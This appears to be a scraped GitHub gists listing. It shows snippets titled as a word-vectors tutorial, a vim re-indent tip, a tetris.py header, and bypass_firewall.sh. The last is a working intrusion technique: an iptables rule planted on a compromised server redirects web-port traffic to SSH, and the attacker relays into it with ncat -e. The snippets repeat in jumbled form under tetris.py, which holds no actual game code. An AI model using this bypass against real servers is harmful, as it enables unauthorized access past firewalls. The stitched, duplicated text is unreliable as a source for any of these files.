Justin justin-labry

## understanding-word-vectors.ipynb

      
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                aparrish
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                Understanding word vectors: A tutorial for "Reading and Writing Electronic Text," a class I teach at ITP. (Python 2.7) Code examples released under CC0 https://creativecommons.org/choose/zero/, other text released under CC BY 4.0 https://creativecommons.org/licenses/by/4.0/
              
          
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## bypass_firewall.sh
# Victim is a web server that is protected by external firewall. 80 port is opened and 22 (ssh) port is filtered.
# You cannot connect ssh into the server in this situation. But if you can run a single command (maybe web vulnerablity),
# You can get into the server.

victim $ iptables -t nat -A PREROUTING -p tcp --dport 80 --sport 31337 -j DNAT --to :22

attacker $ ncat -e "/bin/nc <victim> 80 -p 31337" -l 2222
attacker $ ssh -p 2222 localhost

# Or use iptables

## super-tip.txt
// 4 spaces to 2 spaces
%s;^\(\s\+\);\=repeat(' ', len(submatch(0))/2);g

// Tab to 2 spaces
:%s/\t/  /g

## tetris.py
#!/usr/bin/env python3
#-*- coding: utf-8 -*-

# Very simple tetris implementation
#
# Control keys:
#       Down - Drop stone faster
# Left/Right - Move stone
#         Up - Rotate Stone clockwise
#     Escape - Quit game
	# Victim is a web server that is protected by external firewall. 80 port is opened and 22 (ssh) port is filtered.
	# You cannot connect ssh into the server in this situation. But if you can run a single command (maybe web vulnerablity),
	# You can get into the server.

	victim $ iptables -t nat -A PREROUTING -p tcp --dport 80 --sport 31337 -j DNAT --to :22

	attacker $ ncat -e "/bin/nc <victim> 80 -p 31337" -l 2222
	attacker $ ssh -p 2222 localhost

	# Or use iptables
	// 4 spaces to 2 spaces
	%s;^\(\s\+\);\=repeat(' ', len(submatch(0))/2);g

	// Tab to 2 spaces
	:%s/\t/ /g
	#!/usr/bin/env python3
	#-- coding: utf-8 --

	# Very simple tetris implementation
	#
	# Control keys:
	# Down - Drop stone faster
	# Left/Right - Move stone
	# Up - Rotate Stone clockwise
	# Escape - Quit game